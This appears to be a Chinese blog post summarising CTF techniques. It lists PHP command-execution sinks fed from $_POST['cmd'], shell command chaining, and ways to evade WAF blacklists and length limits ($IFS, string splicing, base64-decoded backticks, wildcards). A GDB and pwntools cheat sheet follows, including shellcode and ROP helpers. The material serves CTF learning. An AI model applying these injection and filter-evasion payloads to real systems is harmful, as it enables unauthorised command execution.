CTF套路总结

常见的命令执行函数

  • PHP

system()
exec()
shell_exec()
passthru()

1.eval() / asset() 最简单的命令执行函数

2.preg_replace() // preg_replace ("/waf/e ,$ _POST["cmd"]," a waf ");当/e 模式时可以执行命令(需要较低的 php 版本)

3.create_function() // $func = create_function ('',$_POST['cmd']); $func();制造 function 

4.aray_map()//$array1= array_map($_ POST ['cmd'],$array );相当于 python 中的 map 函数,对数组的所有元素执行一个操作

5.cal_user_func(),cal_user_fun_array() 
//cal_user_func('assert',$_POST['cmd']); 
//cal_user_func_aray("assert",$array );调用用户的方法

6.array_filter() // array_filter($array,$_POST['cmd']) 对数组元素执行过滤器

7.usort() // usort($_GET,'asse'.'rt'); 自己编写的排序器

8.array_walk() //  array_walk($array,"function","is 0k")

命令连接符

A;B // 先A后B
A&B // AB都执行
A|B // 都执行,只显示B的结果
A&&B // A执行成功再执行B
A||B // A执失败再执行B

一些绕过方法

WAF限制方法之 黑名单检测

!!!另类的绕过方法

很多ctf题目未对tar命令进行过滤,可以用tar命令将整个文件夹进行打包,然后下载下来

tar -cvf <filename> .  // 将当前路径的文件夹打包
其他情况
  • 空格检测绕过
# 在linux环境下用$IFS代替空格
cat file =>cat${IFS}file // 带{}
cat file =>cat$IFS$9file // 不带{}

# 使用重定向符
cat file => cat<file
cat file => cat<>file
一般情况:WAF对某些字符串做了过滤
  • 用字符串拼接绕过
// 例如对cat,flag等进行了过滤
cat flag =>  a=c;b=at;c=flag;$a$b $c
cat flag =>  a=g;cat fla$a
  • 用编码绕过
// 例如对cat,flag等进行了过滤
cat flag =>  `echo Y2F0IGZsYWc= | base64 -d` // 将编码解码,用反引号进行命令执行

  • 用引号绕过
cat flag =>  ca""t fl''ag
  • 用\绕过
cat flag =>  ca\t fl\ag
  • 用通配符绕过
# ?代表任意一个字符 ,* 代表任意0到无限个字符
/bin/cat flag =>  /???/??t fl??

WAF限制方法:执行命令长度限制

  • 用短文件名拼接进行绕过
# 要执行一个命令 cat flag
# 1.先生成两个短文件名的文件(_(顺序从右到左进行拆分)
w > 'flag'
w> 'cat \'  // \ 用于作为执行命令的换行符
# 2.将文件名拼接并输出为一个脚本文件
ls -t >s.sh // 按创建时间排序显示文件

cat s.sh // s.sh文件的内容
> cat \
> flag 

#3.用sh来执行脚本文件
sh s.sh

  • php存在命名空间这个概念,所以内置函数都是在\这个根命名空间下(如\eval),利用这个特性可以绕过针对字符串开头字母的正则匹配

  • create_function()函数可以创造匿名函数赋值给某个变量

PWN

GDB命令
流程控制命令
break main :在main函数处下访问断点
break *(0xDEADBEEF) :在地址 0xDEADBEEF 处下访问断点
ni:next interation,等于f8
si:等于f7
查看程序信息命令
info breakpoints :显示所有断点信息
disassemble或disa //把当前函数(或者指定函数)反汇编

取值、显示命令:
x/s 0xDEADBEEF :显示地址 0xDEADBEEF 处所存储的字符串
x/6xg 0xDEADBEEF :从0xDEADBEEF地址处开始,以16进制显示6个值,每个值长度8字节
x/s 地址:以字符串形式查看该地址
x/xg:以16进制显示
x/10xw:64位查看10条
x/50xb 地址:以16进制显示该地址开始的50个地址的值
x/3i 地址:显示该地址的3条instruction,显示指令序列

x/s $rsp:查看栈顶字符串

set *地址=值:手工修改地址值

其他命令
find “/bin/sh” :搜索字符串/bin/sh,显示其所在的地址

memset:清零
ret指令:跳到下一指令执行的地址,弹出栈顶,并压栈

插件命令:

ropgadget或dumprop: 获得一段rop链
vmmap :peda插件功能:可以查看进程地址空间信息
pattern create 100 : peda插件功能:创造一个长度为100的pattern
pattern offset xxx : peda插件功能:显示字符串xxx相对于pattern首部的偏移量

pwntools常用函数
(pwntools文档:http://docs.pwntools.com/en/latest/)
target = process(‘./binary’) :从本地打开一个名为binary的文件,为后续pwn做准备
target = remote(‘ip,port’) :访问远程ip在端口port上面提供的pwn题
target.close() :关闭远程访问(结束pwn题)
target.send(data) :发送数据
target.sendline(data) :发送数据并在最后加’\n’
target.recvrepeat(1) :接收1秒后断开
sh.interactive() # 进行交互,相当于回到shell模式

常用函数示例
直接获取函数地址
filename = ‘pwn1_sctf_2016’
e = ELF(filename)
get_flag = e.symbols[‘get_flag’]

‘’‘连接远程题目’‘’
r = remote(‘0.0.0.0’,809) #usage:remote(‘host’,port)
#exp code
r.interactive() #取得shell后可将commant传到terminal上

‘’‘连接本地程序’‘’
p = process(‘./demo’) #usage:process(‘binary’,env)
context.terminal = [‘tmux’,‘splitw’,‘-h’] #在tmux下可以切出视窗跑gdb
gdb.attach§ #attach到gdb
#exp code
p.interactive()

‘’‘recv’‘’
r.recv() #接收一个字节
r.recvline() #接受一行
r.recvlines(num) #接收(num)行
r.recvuntil(str) #一直接收直到碰到(str)

‘’‘send’‘’
r.sned(payload) #发送payload
r.sendline(payload) #再最后面加上空字符

‘’‘pack&unpack’‘’
p32(0xdeadbeef) #b’\xef\xbe\xad\xde’
p64(0xdeadbeef) #b’\xef\xbe\xad\xde\x00\x00\x00\x00’

hex(u32(‘\xef\xbe\xad\xde’)) #‘0xdeadbeef’
hex(u64(‘\xef\xbe\xad\xde\x00\x00\x00\x00’)) #‘0xdeadbeef’

‘’‘payload用flat()连接’‘’
flat(‘A’* 5,p32(0xdeadbeef)) #b’AAAAA\xef\xbe\xad\xde’
#在flat()函数中,不用使用b’A’的形式

‘’‘context(架构)’‘’
context.arch = ‘amd64’
context.os = ‘Linux’
context.endian = ‘little’ #小端序
context.log_level = ‘debug’

‘’‘shellcode & asm’‘’
asm(shellcraft.sh())
shellcraft.i386.mov(‘eax’,0x20)
pwnlib.shellcraft.i386.linux.cat(“flag”, fd=1) #读取flag并输出,可以使用asm()包裹

‘’‘ELF’‘’
e = ELF(‘elf_file’) #寻找elf文件中的function
e.got[‘puts’] #puts在got表的地址
e.plt[‘puts’] #puts在plt表中的地址

‘’‘libc’‘’
lib = ELF(‘libc.so.6’) #寻找libc中的function
lib.symbols[‘system’] #寻找system的offset
lib.search(‘/bin/sh’) #找/bin/sh的offset

‘’‘ROP’‘’
rop = ROP(‘elf_file’) #会产生一个空的rop链
rop.chain() #打印出当前的chain
rop.dump() #dump出chain在stack的样子
rop.raad(0,elf.bss(0x80)) #如果存在可以组成read(0,.bss+0x80)的gadgets,就加入rop chain
rop.raw(‘/bin/sh’) #将/bin/sh字符串直接加入rop chain

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 16
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 16
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值